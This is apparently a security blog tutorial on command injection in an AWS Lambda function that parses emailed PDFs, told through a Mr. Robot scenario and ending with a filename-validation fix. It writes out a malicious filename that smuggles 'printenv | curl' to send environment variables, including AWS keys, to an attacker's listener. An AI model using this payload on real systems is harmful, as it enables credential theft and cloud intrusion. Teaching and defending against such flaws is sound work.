AWS Lambda Command Injection
Command Injection vulnerability is a daunting one. In this vulnerability, a threat actor can execute arbitrary commands on a host.
To clearly understand the workflow of AWS Lambda Command injection vulnerability, I have distributed this blog in two parts.
- Understanding what is AWS Lambda
- Case scenario to understand the attack.
AWS LAMBDA SERVICES
AWS Lambda is a compute service that lets you run code without provisioning or managing servers. AWS Lambda runs your code only when needed and scales automatically, from a few requests per day to thousands per second. So in short you pay for the compute time you consume, not for the ideal time. With this, you can virtually run any type of application or backend service without burdening of administration.
So when you supply the code to services in one of the languages it supports, it runs it on the highly available infrastructure and performs all of the required administration work such as maintenance of server and os, capacity provisioning and automatic scaling, code monitoring, and logging.
In addition to this you can run AWS lambda in response to the events, such as any modification required for data in the Amazon S3 bucket, for this you can use Lambda to easily build data processing triggers for the required services. To learn more about this you can follow the AWS documentation.
UNDERSTANDING THE ATTACK
To have a better understanding of the flow of attack, we are going to use the analogy from our favorite show Mr. Robot.
So our beloved character Elliot, needs to test the newly implemented Ecoin portal by Ecorp, as asked by his boss Gideon. Ecoin is a portal that helps small businesses and individuals to manage their accounts and all the expense, especially after the five/nine hack.
Elliot starts by visiting the dashboard of Ecoin: https://www.ecoin.com/dashboard, on visiting and logging into the portal he can analyze and understand the working of the interface menu. During his first assessment, he finds out the option to upload new bills for a user.
Further exploration of this option revealed that this option allows the user to add their new bills and expense report by sending them over an email to the portal, once submitted it will automatically extract the required files.
This feature provokes Elliot to test it for Command Injection(A common vulnerability that occurs to file handling or logic errors), as this system is extracting and performing file-based actions on the email files.
SETUP THE ATTACK
Firstly he set up the netcat to listen for the incoming connection on TCP port 80, this will allow Elliot to analyze the logs for every connection that has been made.
#nc -l -p 80
-l will argument will enable the listening mode for the incoming connection.
-p will specify the port no on which it will set up the socket connection.
The second part of the attack requires Elliot to create a malicious PDF file. He opens another terminal and creates the file using the following command.
#touch “mal; printenv | curl X.X.X.X — — data-urlencode @-; #.pdf”
touch: It is a standard command used in Linux/Unix environment to create empty files.
‘mal’ is the file name
printenv: It is a command-line utility that prints out the names and values of the environment variables.
curl: It is another command-line tool used to send data between client and server over the internet. Another parameter is the IP address of Elliots to which the pdf will connect and send the data.
— data-urlencode: Another option of CURL which sends the data while performing the URL encoding on it.
After the successful creation of the malicious pdf, Elliot submits the file to the dashboard via email.
As soon as the file was uploaded, the netcat listener setup previously show some activity, let’s analyze the output on Elliot’s screen.
POST / HTTP/1.1: Upon submitting the file on the ecoin portal, the POST request was made
User-Agent — curl/7.80.0: The User-Agent indicated that the request was made using the curl tool.
Closer inspection revealed some of the leakage information, where the POST message body contains the application environment variable that includes: AWS_SESSION_TOKENS, AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY-ID
Note — As the AWS access keys allowed users to interact and execute the commands to their AWS environment.
Now Elliots uses these leaked AWS keys and configures the AWS CLI environment, by exporting all the info he has. Once, done he uses AWS CLI (Command Line Interface) utility to check whether the leaked info can get him access to ecoin S3 storage buckets.
He fires the command
#aws s3 ls
BOOM!! he got successful access to the ecoin S3 buckets using the leaked AWS keys from the netcat response.
THE CAUSE
Let’s understand the root cause that leads to this havoc, we are going to take a look at the code used by the ecoin system.
So the ecoin system uses a lambda method for parsing the files and it depends upon the proprietaryapplicationto parse and extract information from the pdf document.
public Object handleRequest(SNSEvent request, Context context)
The developer then uses the Amazon SNS (Simple Notification Service), which invokes the Lambda function asynchronously with any event containing attachments and email.
for (SNSEvent.SNSRecord snsRecord : snsRecordList)
The attachment is then saved in /tmp directory
part.saveFile(“/tmp/” + fileName);
Ecoin developer uses java exec(String command) to run a legacy pdf conversion application known as pdf2txt, to parse and extract the data.
Process proc = Runtime.getRuntime().exec(new String[] …
The CLI conversion application is invoked via the exec() function passing the filename as a string parameter
“./lib/pdf2text /tmp/” + fileName
Here lies the trouble as no input validation is performed on the filename string, and the developer simply trusts the attachments, that there would be no malicious character in it.
When Elliot attachment is processed by the exec() function the filename values was like this : mal; printenv | curl X.X.X.X — — data-urlencode @-; #.pdf
As we know ‘;’ is interpreted as a command separator so Elliot string is processed by exec() function as two different commands.
The first command executed by the exec() function is bash -c /lib/pdf2txt /tmp/mal which fails as mal is the invalid name.
The second command executed is printenv | curl X.X.X.X— data-urlencode @-; so the printenv command is run by the exec() method, and its output is the lambda environment variables are piped to the curl command.
The curl command POST’s data from printenv to Elliot netcat listener. where he can exfiltrate sensitive information from the Ecoin runtime system.
MITIGATION
To increase the security against the command injection vulnerability developer must reduce the user-controllable input in function or system calls that interface with the operating system or invoke the third-party applications.
For an instance, in the above-defined code, we can specify the expected filename format as a regular expression and use the pattern.matches() method in java to identify the nonalphanumeric characters in the filename.
if (!fileName.matches(“[-_A-Za-z0-9]+\\.(pdf)”))
An error response should be generated if the required pattern is not matched.
In addition to manual testing, SAST (Static Code Analysis) tool should be integrated to enhance the finding of the vulnerable code.
This is the improvised version of the real-life vulnerability.
KEEP HUNTING FOR A GOOD CAUSE!